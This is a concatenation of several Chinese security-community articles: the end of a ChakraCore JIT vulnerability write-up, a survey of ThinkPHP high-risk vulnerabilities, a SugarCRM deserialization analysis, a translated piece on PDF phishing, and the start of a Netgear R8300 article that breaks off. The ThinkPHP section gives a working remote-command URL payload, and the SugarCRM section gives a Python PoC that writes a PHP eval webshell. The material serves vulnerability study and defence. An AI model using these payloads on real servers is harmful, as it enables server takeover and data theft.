执行js代码，很遗憾，第二次ret值打印为NaN，我们观察上述js代码生成的Globopt后的部分IR：
这里看到return tmp – 0;生成IR中变量tmp的符号信息是CanBeTaggedValue_Int，tmp –
0对应的操作符为Sub_I4，返回的值s0对应的符号信息也是CanBeTaggedValue_Int。因此JIT后函数opt返回值应该是一个整数（FromVar没有Bailout），但是最后输出了非数字NaN，说明没有走到JIT
return的代码，在前面就Bailout了。观察前面的IR，发现LdFld存在BailOutOnImplicitCallsPreOp指令不允许产生脚本回调，猜测是在这里bailout，通过调试验证猜测：
可以看到，这里正是在LdFld后，ImplicitCallFlags =
ImplicitCall_Accessor（0x5）从而发生了bailout。因此我们需要修改js代码，不让LdFld回调产生bailout。
有了之前StFld构造的经验，LdFld绕过ImplicitCallFlags的方法就很容易想到了。观察到JavascriptOperators::CallGetter的返回值前没有强制增加ImplicitCallFlags：
因此修改后的PoC如下：
这里LdFld不再bailout，并且JIT调用Js::JavascriptMath::ToInt32将Object.prototype.valueOf返回的this指针（obj）转换成0，从而得到错误的obj.x
= 0。
最后尝试利用错误的obj.x= 0构造一个存在Missing
Value并且有HasNoMissingValues标志的错误状态的NativeIntArray：
运行PoC，Debug版的ch.exe成功触发ASSERTION：
后面的利用就可以参考S0rryMyBad利用代码，将NativeIntArray转换为NativeFloatArray最终触发Array的类型混淆。
## 0x3 Thinking
理解补丁原理后接着要思考的就是这个补丁是否完全修复了问题，是否有方法可以绕过补丁或者寻找到类似的攻击点。通过JavascriptOperators::CallSetter的补丁很容易联想到JavascriptOperators::CallGetter是否会存在类似的问题。可以看到CVE-2019-0861的补丁并没有修复JavascriptOperators::CallGetter函数，跟踪ChakraCore的commit可以看到两个月后的CVE-2019-0993补丁正是用来修复JavascriptOperators::CallGetter函数：
因此可以尝试复现JavascriptOperators::CallGetter触发漏洞的PoC。
我们选择在前面构造的CVE-2019-0861
PoC基础上做修改，首先需要注释JavascriptOperators::CallSetter的调用，因为JIT现在走到JavascriptOperators::CallSetter一定会bailout，同时在obj初始化的时候创建属性x值为1：
运行js代码，发现第二个print(ret)为NaN，说明JIT bailout了，观察Globopt阶段生成的部分IR：
发现函数opt返回前，tmp的符号信息变成了LikelyCanBeTaggedValue_Int，而不是之前的CanBeTaggedValue_Int，同时增加了一个BailOutIntOnly的检查，通过调试证明JIT正是在这里bailout的，因此需要修改PoC，让这里的tmp的符号信息变为CanBeTaggedValue_Int。观察CVE-2019-0993补丁的注释：
根据注释，这里我们尝试增加一个比较运算，修改PoC如下：
观察Globopt阶段生成的部分IR：
可以看到，返回的tmp-0没有了bailout，但是现在需要考虑绕过if(obj.x > 0)的bailout。
这里需要构造的执行流程是：
1. if(obj.x > 0)中obj.x触发__defineGetter__回调，返回>0的数值进入if分支，比如1
2. var tmp = obj.x; obj.x触发__defineGetter__回调，返回Undefined，触发漏洞
两次__defineGetter__的相同回调函数返回值不一样，由Project Zero如下case启发：
这里我们需要寻找一个调用链：Runtime里没有Side
Effect的函数回调一个用户自定义函数。这里笔者选择的是Array.prototype.toString,
Array.prototype.toString 会调用对象属性Join：
通过设置属性Join使得第一次的obj.x返回1绕过if分支的检查，再delete
obj的属性Join，使得obj.x调用Array.prototype.toString返回Undefined从而触发漏洞。具体构造PoC的过程感兴趣的读者可以自行尝试。
## 0x4 References
1. <https://github.com/microsoft/ChakraCore/commit/b481337f2ae6e92efd919692c6691996947f49ec>
2. <https://bugs.chromium.org/p/project-zero/issues/detail?id=1576>
3. <https://bugs.chromium.org/p/project-zero/issues/detail?id=1437>
4. <https://phoenhex.re/2019-05-15/non-jit-bug-jit-exploit>
5. <https://www.anquanke.com/post/id/180551>
6. <https://github.com/microsoft/ChakraCore/commit/36644ee0d4cc2bc97a3cd49c3540e6eea193182a> | 社区文章 |
**作者：Feynman@深信服千里目安全实验室
原文链接：<https://mp.weixin.qq.com/s/OWi3G4ETrV-yBsnWgdU_Ew>**
## 一、组件介绍
### 1.1 基本信息
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架，诞生于2006年初，原名FCS，2007年元旦正式更名为ThinkPHP，遵循Apache
2开源协议发布，从Struts结构移植过来并做了改进和完善，同时也借鉴了国外很多优秀的框架和模式，使用面向对象的开发结构和MVC模式，融合了Struts的思想和TagLib（标签库）、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以支持windows/Unix/Linux等服务器环境，正式版需要PHP
5.0以上版本支持，支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展，ThinkPHP框架本身没有什么特别模块要求，具体的应用系统运行环境要求视开发所涉及的模块决定。
### 1.2 版本介绍
ThinkPHP发展至今已有14年历史，其核心开发版本已有数十个之多。2009年10月，ThinkPHP
2.0版本完成了新的重构和飞跃，成就了这一划时代的版本，从此，ThinkPHP就基于此开始了长达十多年的演化与发展。ThinkPHP发展至今，核心版本主要有以下几个系列，即ThinkPHP
2系列、ThinkPHP 3系列、ThinkPHP 5系列、ThinkPHP 6系列，各个系列之间在代码实现及功能方面，有较大区别。其中ThinkPHP
2以及thinkPHP 3系列已经停止维护，ThinkPHP 5系列现使用最多，而ThinkPHP 3系列也积累了较多多的历史用户。版本细分如下图所示：
### 1.3 使用量及使用分布
根据全网数据统计，使用ThinkPHP的网站多达15万余个，其中大部分集中在国内，约占使用量的75%以上。其中，浙江、北京、山东、广东四省市使用量最高，由此可见，ThinkPHP在国内被广泛应用。通过网络空间搜索引擎的数据统计和柱状图表，如下图所示。
(数据来源：[Zoomeye](https://www.zoomeye.org/))
## 二、高危漏洞介绍
通过对ThinkPHP漏洞的收集和整理，过滤出其中的高危漏洞，可以得出如下列表。
漏洞名称 | 漏洞ID | 影响版本 | 漏洞披露日期
---|---|---|---
ThinkPHP 2.x/3.0 远程代码执行漏洞 | | ThinkPHP 2.x,3.0 | 2012
ThinkPHP 3.2.4 SQL注入漏洞 | CVE-2018-18546 | ThinkPHP <= 3.2.4 | 2018
ThinkPHP 3.2.4 SQL注入漏洞 | CVE-2018-18529 | ThinkPHP <= 3.2.4 | 2018
thinkphp 3.1.3 s parameter注入漏洞 | CVE-2018-10225 | ThinkPHP <= 3.1.3 | 2018
ThinkPHP 3.x update方法 SQL注入漏洞 | | ThinkPHP <3.2.4 | 2017
ThinkPHP 3.x orderby方法 SQL注入漏洞 | | ThinkPHP <3.2.4 | 2017
ThinkPHP 3.x where SQL注入漏洞 | | ThinkPHP <3.2.4 | 2018
ThinkPHP 3.x exp SQL注入漏洞 | | ThinkPHP <3.2.4 | 2018
ThinkPHP 3.x bind SQL注入漏洞 | | ThinkPHP <3.2.4 | 2018
ThinkPHP SQL注入漏洞--paraData方法 | | ThinkPHP 5.0.13-5.0.15 | 2018
ThinkPHP SQL注入漏洞--paraArraryData方法 | | ThinkPHP 5.1.6-5.1.7 | 2018
ThinkPHP SQL注入漏洞--parseWhereItem方法 | | ThinkPHP 5 | 2018
ThinkPHP SQL注入漏洞--parseOrder方法 | | ThinkPHP 5.1.16-5.1.22 | 2018
ThinkPHP SQL注入漏洞--orderby方法 | | ThinkPHP 5.0.0-5.0.21
Thinkphp 5.1.3-5.1.25 | 2018
ThinkPHP cacheFile变量文件包含漏洞 | | ThinkPHP 5.0.0-5.0.18 | 2018
ThinkPHP cache缓存函数远程代码执行漏洞 | | ThinkPHP 5.0.0-5.0.10 | 2017
**ThinkPHP 5远程代码执行漏洞** | | ThinkPHP 5.0.7-5.0.22
ThinkPHP 5.1.0-5.1.30 | 2018
**ThinkPHP 5远程代码执行漏洞** | | ThinkPHP 5.0.0-5.0.23
ThinkPHP 5.1.0-5.1.30 | 2019
ThinkPHP 6 任意文件操作漏洞 | | ThinkPHP 6.0.0-6.0.1 | 2020
ThinkPHP 6 反序列化漏洞 | | ThinkPHP 6.0.0-6.0.1 | 2020
中可以看出，ThinkPHP近年出现的高风险漏洞主要存在于框架中的函数，这些漏洞均需要在二次开发的过程中使用了这些风险函数方可利用，所以这些漏洞更应该被称为框架中的风险函数，且这些风险点大部分可导致SQL注入漏洞，所以，开发者在利用ThinkPHP进行Web开发的过程中，一定需要关注这些框架的历史风险点，尽量规避这些函数或者版本，则可保证web应用的安全性。
从上表数据来看，ThinkPHP 3系列版本的漏洞多是是2016/2017年被爆出，而ThinkPHP
5系列版本的漏洞基本为2017/2018年被爆出，从2020年开始，ThinkPHP 6系列的漏洞也开始被挖掘。
其中，2018年与2019年交替之际，ThinkPHP爆出了 **两枚重量级**
的远程代码执行漏洞，这两枚漏洞均不需要进行二次开发即可利用，攻击者可通过框架中已有逻辑，直接构造恶意流量，在服务器中执行任意代码，获取服务器的最高权限。时至今日，这两枚漏洞的利用在全网中仍非常活跃，且被誉为ThinkPHP框架中的“沙皇炸弹”。
## 三、漏洞利用链
### 3.1、暴露面梳理
根据ThinkPHP的历史高位漏洞，梳理出分版本的攻击风险点，开发人员可根据以下图标，来规避ThinkPHP的风险版本，如下ThinkPHP暴露面脑图。
### 3.2、利用链总结
基于暴露面脑图，我们可以得出几种可以直接利用的ThinkPHP框架漏洞利用链，不需要进行二次开发。
#### 3.2.1、ThinkPHP 2.x/3.0 GetShell
**ThinkPHP低于3.0 - GetShell**
* ThinkPHP 低版本可以使用以上漏洞执行任意系统命令，获取服务器权限。
#### 3.2.2、ThinkPHP 5.0 GetShell
**ThinkPHP 5.0.x - GetShell**
* 首先明确ThinkPHP框架系列版本。
* 根据ThinkPHP版本，如是5.0.x版本，即可使用ThinkPHP 5.x远程代码执行漏洞，无需登录，即可执行任意命令，获取服务器最高权限。
#### 3.2.3、ThinkPHP 5.1 GetShell
* **ThinkPHP 5.1.x - GetShell**
* 首先明确ThinkPHP框架系列版本。
* 根据ThinkPHP版本，如是5.1.x版本，即可使用ThinkPHP 5.x远程代码执行漏洞1，无需登录，即可执行任意命令，获取服务器最高权限。
* 如需使用ThinkPHP 5.x远程代码执行漏洞2，则需要index.php文件中跳过报错提示，即 文件中有语句：“error_reporting(0);”，故该漏洞在5.1.x系列版本利用需要满足以上前提，利用较难。
## 四、高可利用漏洞分析
从高危漏洞列表中，针对ThinkPHP不需二次开发即可利用的高危漏洞进行深入分析。
### 4.1、ThinkPHP 2.x/3.0远程代码执行漏洞
#### 4.1.1、漏洞概要
* 漏洞名称：ThinkPHP 2.x/3.0远程代码执行
* 参考编号：无
* 威胁等级：高危
* 影响范围：ThinkPHP 2.x/3.0
* 漏洞类型：远程代码执行
* 利用难度：简单
#### 4.1.2、漏洞描述
ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源MVC框架。Dispatcher.class.php中res参数中使用了preg_replace的/e危险参数，使得preg_replace第二个参数就会被当做php代码执行，导致存在一个代码执行漏洞，攻击者可以利用构造的恶意URL执行任意PHP代码。
#### 4.1.3、漏洞分析
漏洞存在在文件 `/ThinkPHP/Lib/Think/Util/Dispatcher.class.php` 中，ThinkPHP
2.x版本中使用preg_replace的/e模式匹配路由，我们都知道，preg_replace的/e模式，和php双引号都能导致代码执行的，即漏洞触发点在102行的解析url路径的preg_replace函数中。代码如下：
该代码块首先检测路由规则，如果没有制定规则则按照默认规则进行URL调度，在preg_replace()函数中，正则表达式中使用了/e模式，将“替换字符串”作为PHP代码求值，并用其结果来替换所搜索的字符串。
正则表达式可以简化为“\w+/([\^\/])”，即搜索获取“/”前后的两个参数，{}里面可以执行函数，然后我们在thinkphp的url中的偶数位置使用${}格式的php代码，即可最终执行thinkphp任意代码执行漏洞，如下所示：
index.php?s=a/b/c/${code}
index.php?s=a/b/c/${code}/d/e/f
index.php?s=a/b/c/d/e/${code}
由于ThinkPHP存在两种路由规则，如下所示：
http://serverName/index.php/模块/控制器/操作/[参数名/参数值...]
如果不支持PATHINFO的服务器可以使用兼容模式访问如下：
http://serverName/index.php?s=/模块/控制器/操作/[参数名/参数值...]
也可采用 index.php/a/b/c/${code}一下形式。
### 4.2、ThinkPHP 5.x 远程代码执行漏洞1
#### 4.2.1、漏洞概要
* 漏洞名称：ThinkPHP 5.0.x-5.1.x 远程代码执行漏洞
* 参考编号：无
* 威胁等级：严重
* 影响范围：ThinkPHP v5.0.x < 5.0.23,ThinkPHP v5.1.x < 5.0.31
* 漏洞类型：远程代码执行
* 利用难度：容易
#### 4.2.2、漏洞描述
2018年12月10日，ThinkPHPv5系列发布安全更新，修复了一处可导致远程代码执行的严重漏洞。此次漏洞由ThinkPHP
v5框架代码问题引起，其覆盖面广，且可直接远程执行任何代码和命令。电子商务行业、金融服务行业、互联网游戏行业等网站使用该ThinkPHP框架比较多，需要格外关注。由于ThinkPHP
v5框架对控制器名没有进行足够的安全检测，导致在没有开启强制路由的情况下，黑客构造特定的请求，可直接进行远程的代码执行，进而获得服务器权限。
#### 4.2.3、漏洞分析
本次ThinkPHP 5.0的安全更新主要是在`library/think/APP.php`文件中增加了对控制器名的限制，而ThinkPHP
5.1的安全更新主要是在`library/think/route/dispatch/Module.php`文件中增加了对控制器名的限制。
从以上补丁更新可知，该漏洞的根源在于框架对控制器名没有进行足够的检测，从而会在未开启强制路由的情况下被引入恶意外部参数，造成远程代码执行漏洞。
由ThinkPHP的架构可知，控制器（controller）是通过url中的路由进行外部传入的，即/index.php?s=/模块/控制器/操作/[参数名/参数值...]，控制器作为可控参数，经过`library/think/APP.php`文件进行处理，我们跟踪路由处理的逻辑，来完整看一下该漏洞的整体调用链：
首先在run()主函数中，url传入后需要经过路由检查，如下代码所示：
跟进 `self::routeCheck` 函数
在 620行中调用 `$request->path()`
函数，该函数位于`thinkphp/library/think/Request.php`文件中,在该函数中跟进到本文件的`$this->pathinfo()`函数，在该函数中，就进行url解析，获取路由中的各个部分内容。
其中var_pathinfo参数即为系统默认参数，默认值为`s`，通过GET方法将获取到的var_pathinfo的值，即s=/模块/控制器/操作/[参数名/参数值...]的内容送到`routeCheck()`函数中$path参数进行路由检查处理。
继续回到`routeCheck()`函数：
在初始化路由检查配置之后，就进行`Route::check`，由以上代码看出，若路由寻不到对应操作，即返回`$result=false`，且开启了强制路由`$must`的情况下，就会抛出异常，并最终进入`Route::parseUrl`函数，进行`$path`解析，
**以上就进入了我们的漏洞触发点** ：
首先，在该函数中进行url解析，然后，进入到parseUrlPath函数，根据`/`进行路由地址切割，通过数组返回：
最终在parseUrl函数中，将返回的route后返回：
回到`thinkphp/library/think/App.php`文件的run()函数：
在完成RouteCheck后，进入到exec()函数中去：
在该函数中，首先路由信息首先进入module()函数进行检验，该函数首先查看该路由中的模块信息是否存在且是否存在于禁止的模块类表中：
模块存在的话，继续往下跟踪，分别将模块中的controller、actionName经过处理后赋值到action，最终action被赋值给了$call参数。
最终$call参数进入了`self::invokeMethod()`进行处理：
在函数中，通过反射ReflectionMethod获取controller(method[0])和action(method[1])对象下的方法，然后通过`$args
= self::bindParams($reflect, $vars);`获取到传入参数。以上即为漏洞调用链。
**我们根据Payload来进行最终攻击链的总结：**
`siteserver/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami`
根据上面的分析，我们将路由解析为：
`module：index`
`controller：think\app`
`action：invokefunction`
通过上述的利用链，最终通过反射ReflectionMethod进入到`Think/app`文件中的invokefunction方法中：
通过构造参数，最终即可执行任意代码。
### 4.3、ThinkPHP 5.x 远程代码执行漏洞2
#### 4.3.1、漏洞概要
* 漏洞名称：ThinkPHP 5.0.x-5.1.x远程代码执行漏洞
* 参考编号：无
* 威胁等级：严重
* 影响范围：ThinkPHP v5.0.x < 5.0.23,ThinkPHP v5.1.x < 5.0.31
* 漏洞类型：远程代码执行漏洞
* 利用难度：容易
#### 4.3.2、漏洞描述
2019年1月11日，某安全团队公布了一篇ThinkPHP 5.0. _远程代码执行漏洞文档，公布了一个ThinkPHP 5.0._
远程代码执行漏洞。文章中的该漏洞与2018年12月的ThinkPHP
5.0.*远程代码执行漏洞原理相似，攻击者可利用该漏洞在一定条件下获取目标服务器的最高权限。后经研究，在一定条件下，ThinkPHP
5.1.x版本也存在该漏洞，在满足条件的情况下，攻击者可利用该漏洞执行任意代码。
#### 4.3.3、漏洞分析
该漏洞的漏洞关键点存在于`thinkphp/library/think/Request.php`文件中：
从代码中可知：
method()函数主要用于请求方法的判断，var_method没有通过，为可控参数，通过外部传入，thinkphp支持配置“表单伪装变量”，var_method在在外部的可控参数表现为_method:
由于var_method没有做任何过滤，我们可以通过控制`_method`参数的值来动态调用Request类中的任意方法，通过控制`$_POST`的值来向调用的方法传递参数。由上可知，漏洞存在于method()函数中，我们就需要寻找该函数的调用链，来构造POC。
第一个构造链在__construct()构造方法中，该方法如下：
函数中对option的键名为该类属性时，则将该类同名的属性赋值为$options中该键的对应值。因此可以构造请求如下，来实现对Request类属性值的覆盖，例如覆盖filter属性。filter属性保存了用于全局过滤的函数。
再上一个漏洞分析过程中，我们跟踪到了路由检查`self::routeCheck`
函数，在过程中，会进入到`thinkphp/library/think/Route.php`文件中的check()函数，函数中调用了method()方法，并将函数执行结果转换为小写后保存在method
= strtolower(method最终的值就可以被控制了。
在该函数中，调用了method()函数，在该函数中，就将进行变量覆盖：
通过调用构造函数__construct(),最终将请求参数保存到input参数。
在进行routecheck后，已完成了第一部分调用链，实现了变量覆盖，接下来就是要实现变量覆盖后的代码执行，具体调用链如下：
返回到App.php文件中的run()函数，接着进入到exec()函数中，然后进入到module()函数中，最终进入到了invokeMethod()函数，
从invokeMethod()函数中进入到bindParams()函数，然后进入到param()函数：
然后最终调用到input()函数：
最终我们根据array_walk_recursive()函数，进入到了filterValue()函数：
最终，通过回调函数call_user_func执行了代码，整个调用链如上所示。
* * * | 社区文章 |
**Author: p0wd3r (知道创宇404安全实验室)**
## 0x00 漏洞概述
### 1.漏洞简介
SugarCRM（http://www.sugarcrm.com/
）是一套开源的客户关系管理系统。近期研究者发现在其<=6.5.23的版本中存在反序列化漏洞，程序对攻击者恶意构造的序列化数据进行了反序列化的处理，从而使攻击者可以在未授权状态下执行任意代码。
### 2.漏洞影响
未授权状态下任意代码执行
### 3.影响版本
SugarCRM <= 6.5.23 PHP5 < 5.6.25 PHP7 < 7.0.10
## 0x01 漏洞复现
### 1\. 环境搭建
Dockerfile:
FROM php:5.6-apache
# Install php extensions
RUN echo "deb http://mirrors.163.com/debian/ jessie main non-free contrib" > /etc/apt/sources.list \
&& echo "deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib" >> /etc/apt/sources.list \
&& apt-get update \
&& apt-get install -y libpng12-dev libjpeg-dev wget \
&& docker-php-ext-configure gd --with-png-dir=/usr --with-jpeg-dir=/usr \
&& docker-php-ext-install -j$(nproc) mysqli gd zip
# Download and Extract SugarCRM
RUN wget https://codeload.github.com/sugarcrm/sugarcrm_dev/tar.gz/6.5.23 -O src.tar.gz \
&& tar -zxvf src.tar.gz \
&& mv sugarcrm_dev-6.5.23/* /var/www/html \
&& rm src.tar.gz
docker build -t sugarcrm .
docker run -p 80:80 sugarcrm
另，需要启动 MySQL 服务，例如：
docker run --name mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=password -d mysql/mysql-server:latest
### 2.基础准备
PHP之前爆出了一个漏洞（CVE-2016-7124 https://bugs.php.net/bug.php?id=72663
），简单来说就是当序列化字符串中 **表示对象属性个数的值** 大于 **真实的属性个数** 时会跳过`__wakeup`的执行。Demo如下：
<?php
class Student{
private $full_name = '';
private $score = 0;
private $grades = array();
public function __construct($full_name, $score, $grades)
{
$this->full_name = $full_name;
$this->grades = $grades;
$this->score = $score;
}
function __destruct()
{
var_dump($this);
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up...\n";
}
}
// $s = new Student('p0wd3r', 123, array('a' => 90, 'b' => 100));
// file_put_contents('1.data', serialize($s));
$a = unserialize(file_get_contents('1.data'));
?>
Demo中在`__wakeup`中清除了对象属性，然后在`__destruct`中将对象信息dump出来。正常情况下，序列化得到的1.data是这样的：
O:7:"Student":3:{s:18:"Studentfull_name";s:6:"p0wd3r";s:14:"Studentscore";i:123;s:15:"Studentgrades";a:2:{s:1:"a";i:90;s:1:"b";i:100;}}
我们执行该脚本，结果如下：
可以看到对象属性已经被清除了。
下面我们将1.data改成下面这个样子（将上面的3变成5或者其他大于3的数字）：
O:7:"Student":5:{s:18:"Studentfull_name";s:6:"p0wd3r";s:14:"Studentscore";i:123;s:15:"Studentgrades";a:2:{s:1:"a";i:90;s:1:"b";i:100;}}
再执行脚本看看：
可以看到对象被dump出来了并且属性没有被清除，证明`__wakeup`并没有被执行。
这个漏洞很有趣，在下面的分析中我们会用到它。
### 3.漏洞分析
首先我们看`service/core/REST/SugarRestSerialize.php`中的`serve`函数：
function serve(){
$GLOBALS['log']->info('Begin: SugarRestSerialize->serve');
$data = !empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: '';
if(empty($_REQUEST['method']) || !method_exists($this->implementation, $_REQUEST['method'])){
...
}else{
$method = $_REQUEST['method'];
$data = sugar_unserialize(from_html($data));
...
}
}
可以看到我们可控的`$_REQUEST['rest_data']`首先通过`from_html`将数据中HTML实体编码的部分解码，然后传入了`sugar_unserialize`函数。
跟进`sugar_unserialize`函数，在`include/utils.php`第5033-5048行：
/**
* Performs unserialization. Accepts all types except Objects
*
* @param string $value Serialized value of any type except Object
* @return mixed False if Object, converted value for other cases
*/
function sugar_unserialize($value)
{
preg_match('/[oc]:\d+:/i', $value, $matches);
if (count($matches)) {
return false;
}
return unserialize($value);
}
从注释中可以看到该函数设计的初衷是为了不让`Object`类型被反序列化，然而正则不够严谨，我们可以在对象长度前加一个`+`号，即`o:14 ->
o:+14`，即可绕过这层检测，从而使得我们可控的数据传入`unserialize`函数。
可控点找到了，接下来我们需要寻找有哪些对象可以利用，在`include/SugarCache/SugarCacheFile.php`中第90-108行：
public function __destruct()
{
parent::__destruct();
if ( $this->_cacheChanged )
sugar_file_put_contents(sugar_cached($this->_cacheFileName), serialize($this->_localStore));
}
/**
* This is needed to prevent unserialize vulnerability
*/
public function __wakeup()
{
// clean all properties
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
throw new Exception("Not a serializable object");
}
我们看到了我们比较喜欢的magic方法，并且在`__destruct`中使用对象属性作为参数调用了`sugar_file_put_contents`。
跟进`sugar_file_put_contents`，在`include/utils/sugar_file_utils.php`第131到149行：
function sugar_file_put_contents($filename, $data, $flags=null, $context=null){
//check to see if the file exists, if not then use touch to create it.
if(!file_exists($filename)){
sugar_touch($filename);
}
if ( !is_writable($filename) ) {
$GLOBALS['log']->error("File $filename cannot be written to");
return false;
}
if(empty($flags)) {
return file_put_contents($filename, $data);
} elseif(empty($context)) {
return file_put_contents($filename, $data, $flags);
} else{
return file_put_contents($filename, $data, $flags, $context);
}
}
函数并没有对文件内容或者扩展名等进行限制，虽然参数`$data`是`serialize($this->_localStore)`，也就是序列化后的数据，但是我们可以设置`$_this->_localStore`为一个数组，把payload作为数组中的一个值，就可以完整保存payload。
这样如果我们可以传入一个`SugarCacheFile`对象并设置其属性的值，我们就可以写入文件。
然而不巧的是，`__wakeup`会在`__destroy`之前调用，并且我们可以看到在`__wakeup`中对所有对象属性进行了清除。
那么该如何跨过这个限制呢？
想必大家都已经知道了，就是利用我们上面说的PHP的漏洞来跳过`__wakeup`的执行。
最后，整个漏洞的流程如下：
$_REQUEST['rest_data'] -> sugar_unserialize -> __destruct -> sugar_file_put_contents -> evil_file
PoC Demo如下：
import requests as req
url = 'http://127.0.0.1:8788/service/v4/rest.php'
data = {
'method': 'login',
'input_type': 'Serialize',
'rest_data': 'O:+14:"SugarCacheFile":23:{S:17:"\\00*\\00_cacheFileName";s:15:"../custom/1.php";S:16:"\\00*\\00_cacheChanged";b:1;S:14:"\\00*\\00_localStore";a:1:{i:0;s:29:"<?php eval($_POST[\'HHH\']); ?>";}}',
}
req.post(url, data=data)
脚本执行后shell位于custom/1.php：
### 4.补丁分析
在v6.5.24中，对`sugar_unserialize`进行了如下改进：
function sugar_unserialize($value)
{
preg_match('/[oc]:[^:]*\d+:/i', $value, $matches);
if (count($matches)) {
return false;
}
return unserialize($value);
}
更改了正则表达式，使对象类型无法进行反序列化。
## 0x02 修复方案
升级SugarCRM到v6.5.24 升级php5到5.6.25及以上 升级php7到7.0.10及以上
## 0x03 参考
https://www.seebug.org/vuldb/ssvid-92404 https://www.exploit-db.com/exploits/40344/ https://bugs.php.net/bug.php?id=72663
http://php.net/manual/zh/function.serialize.php
* * * | 社区文章 |
# 【技术分享】钓鱼者使用PDF附件发起简单但有效的社工攻击
|
##### 译文声明
本文是翻译文章，文章来源：microsoft.com
原文地址：<https://blogs.technet.microsoft.com/mmpc/2017/01/26/phishers-unleash-simple-but-effective-social-engineering-techniques-using-pdf-attachments/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[ju4n010](http://bobao.360.cn/member/contribute?uid=2772593091)
预估稿费：170RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**前言**
通过Gmail网络钓鱼攻击是如此有效，甚至欺骗了技术用户，但它可能只是冰山一角。我们看到越来越多类似的简单但聪明的使用PDF附件发起的社工攻击。
与其他垃圾邮件广告系列不同，我们在这些网络钓鱼攻击中看到的PDF附件不包含恶意软件或漏洞利用代码。相反，他们依靠社会工程将你带到钓鱼网页，在那里你被要求泄露敏感信息。
意识是抵御社会工程攻击的最有效武器。在本文中，我们会分享这些PDF附件的一些示例，包括伪装Microsoft
Office的附件，因此你可以学习防范这些社会工程攻击的知识。
**示例1：你收到一个Adobe Reader无法显示的文档，因为它是受保护的Excel文件，因此你需要输入你的电子邮件凭据**
**附件类型：** PDF
**文件名：** Quote.pdf
**信息窃取：** Email登录凭据
**Windows Defender 检测结果：** Trojan:Win32/Pdfphish.BU
欺诈性PDF附件的一个示例是伪装成正式通信的电子邮件消息附件，例如，来自合法公司的产品或服务的报价单。这些电子邮件可能欺骗来自合法公司的真实工作人员。
当你打开附件时，它确实是一个PDF文件，但其中显示了打开图片失败的错误消息。 它包含“使用Microsoft
Excel打开文档”的指令。但它实际上是一个网站的链接。
单击链接将打开浏览器并将你带到一个网站，社会工程攻击会继续显示一条消息，指出文档受到保护，因为它是机密的，因此你需要使用你的电子邮件凭据登录。
如果你使用Microsoft Edge，Microsoft SmartScreen将阻止此网站，停止网络钓鱼攻击。
然而，如果你使用的浏览器没有阻止网站，并单击确定，你将被导向网上诱骗网站，请求你输入你的电子邮件地址和密码。网站被设计为看起来像你正在打开一个Excel文件。
网站很大程度上模仿Microsoft Excel Online，但你在网站上看到的不是一个Excel文件，而只是一个图像。
如果你因为这个社会工程攻击输入了你的详细信息，则被重定向到以下网站，并告知你输入的详细信息不正确。但在此时，攻击者已经拥有了你的电子邮件凭据。一旦他们访问你的电子邮件，攻击者可以对你的联系人进行进一步的网络钓鱼攻击，或访问你的社交网络，网上银行或在线游戏帐户。
**示例2：你从Dropbox收到一个PDF文件，需要使用你的电子邮件凭据登录**
**附件类型 ：**PDF
**文件名：** ScannedbyXerox.pdf
**信息窃取：** Gmail, Outlook, AOL, Yahoo!, Office 365 登录凭据
**Windows Defender检测结果：** PWS:HTML/Misfhing.B
这些PDF附件的另一个伪装示例是，你需要登录到在线存储提供商Dropbox以访问你的文档。
与第一个示例类似，此PDF文档没有恶意代码，但包含指向“在线查看.PDF”的链接。
点击链接，你将进入一个假的Dropbox登录页面，该页面要求你使用Google，Outlook，AOL，Yahoo !, Office
365或其他电子邮件凭据登录。
Microsoft Edge用户不会受到此威胁。使用Microsoft SmartScreen，它会阻止此网络钓鱼攻击加载进一步的违规网页。
在诱骗页面上，一些选项被定制为看起来像合法的电子邮件登录页面。 例如，单击Office 365选项将打开一个窗口，对普通用户这看起来就像真的页面一样。
例如，对于Google登录选项，该窗口会首先要求你选择是要使用单位或个人帐户登录。
此步骤不会显示在实际的Google登录过程中，但这可以帮助攻击者识别与业务相关的帐户凭据。然后它打开登录页面。
如果你输入了详细信息，则会在窗口中打开实际的PDF文档（托管在Google云端硬盘中，而不是Dropbox中）。
作为社会工程攻击的一部分，这样做，你不会立即怀疑你被钓鱼。 到这个时候，攻击者将拥有你的凭据。 一旦你意识到被钓鱼了，需要赶紧去更改密码。
**其他示例：输入你的电子邮件凭据以访问或下载你的文件**
我们已经发现通过电子邮件分发并展示相同特征的其他PDF文件示例。 与前两种情况一样，这些PDF文件除了指向网络钓鱼站点的链接之外，不包含恶意代码。
所有这些都携带你需要输入电子邮件凭证的消息，以便你可以查看或下载文档。 所有这些附件都被检测为Trojan：Win32 / Pdfphish的变体。
**怎样保持安全，免受网络钓鱼攻击**
正如我们从上面例子中看到的，社会工程攻击旨在利用可能的决策失误，特别是意识，这是关键。
请勿打开附件或点击可疑电子邮件中的链接。即使电子邮件来自你认识的人，也请你谨慎对待，慎重打开附件，因为垃圾邮件和网络钓鱼电子邮件可能会假冒伪装发件人。
在这些时候，当我们面对网络钓鱼和改进的社会工程攻击时，一点点偏执并不过分。 例如，请你想一想为什么Adobe
Reader会尝试打开Excel文件，为什么Dropbox要求你输入电子邮件凭据，而不是你的Dropbox帐户凭据。
使用像Windows 10这类安全的操作系统平台，你可以充分利用内置的安全功能识别和抵御网络钓鱼攻击：
Microsoft Edge是一个安全的浏览器，可以使用Microsoft SmartScreen阻止网络钓鱼站点和其他恶意网站。
Windows Defender可以检测和阻止恶意的PDF附件和其他恶意代码。
Office 365内置的内容安全功能，可以阻止垃圾邮件和网络钓鱼电子邮件。 | 社区文章 |
# Netgear Nighthawk R8300 upnpd PreAuth RCE 分析与复现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：fenix@知道创宇404实验室
# 1.前言
R8300 是 Netgear 旗下的一款三频无线路由，主要在北美发售，官方售价 $229.99。
